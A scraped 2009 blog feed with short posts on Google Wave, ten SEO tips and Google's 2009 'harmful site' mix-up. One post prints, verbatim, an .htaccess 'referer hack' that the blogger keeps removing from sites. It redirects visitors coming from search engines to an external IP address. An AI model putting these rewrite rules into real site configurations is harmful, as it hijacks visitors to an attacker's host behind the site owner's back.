Two minute video that gives a glimpse of Google Wave.

Sign up: http://wave.google.com

]]> http://mattmaan.com/google-wave-offers-online-collaboration-wheres-my-invite/feed/ 0 http://mattmaan.com/ten-things-to-consider-when-building-a-web-page-for-seo-heaven/ http://mattmaan.com/ten-things-to-consider-when-building-a-web-page-for-seo-heaven/#comments Sun, 12 Jul 2009 01:45:36 +0000 mattmaan http://mattmaan.com/?p=192 1. Choose the correct DOC TYPE. Pages will not validate with an incorrect DOC TYPE and your page may even cause browsers to flip out for no obvious reason.
2. Create a unique META description and title tag for each page that will reflect the real content of that page. Slow down and read the copy. Duplicate description tags may indicate to a search bot that the page may contain duplicate content.
3. Fill in the alt tag that accompanies any image. Again, validate,… the page will not validate without alt tags filled. It will also add much needed bot-readable keyword text to the raw code.
4. Give the filename for the page a unique name. Reflect the nature of the page’s content in the url.
5. More content! The more text on a page, the happier a search bot is and will spend more time there reading.
6. Avoid Flash, but if you must, keep it to a minimum and make sure it is not the most dominate part of your page. Yeah, the bots say the can read flash documents now, but there isn’t any evidence of that claim or of their accuracy if they actually do.
7. Try your best not to use tables. Seperate the design from the content as much as possible. This isn’t as important to search bots as many designers would lead you to believe, but let’s get with the times.
8. Add keywords to the keyword META tag. Just for old-time’s sake. It can’t hurt.
9. Turn off all of the CSS on the page and examine it. That is the way a search bot sees it. Does it make sense? Is it readable?
10. Finally, be relevant. Update often. Consider using WordPress. The era of instant search is coming,… or maybe it’s already here.

http://wordpress.tv/2009/06/08/create-an-ecommerce-website-with-wordpress-in-under-5-minutes/

Enjoy!

Searching Google.com this morning has yielded some bizarre results. Every site is now harmful to your system! How the mighty have fallen. I feel for you googlers. I too check on most of the sites I work on every morning for the .htaccess hack. Quite a pain in the ass. Click on the image for a closer look. I googled the word “WORD”.

Read the CNET.com article.

Google.com Hacked?

Here’s my hacker code I wrestle with on a near daily basis:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*oogle.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ahoo.*$ [NC]
RewriteRule .* http://89.28.13.213/you.html?s=tube [R,L]

More on the .htaccess referer hack.

Technical paper (too technical, but interesting article).

One of the principles I took away from the Web Standards community was the concept that pixel perfect precision across the various rendering engines was impractical and a remnant of the table-based layouts of yesteryear. With CSS and progressive enhancement, it was okay that things might look a little different from one browser to the next because of variations in what they supported.

I especially like the way he turns his computer on and off. Now that’s respect!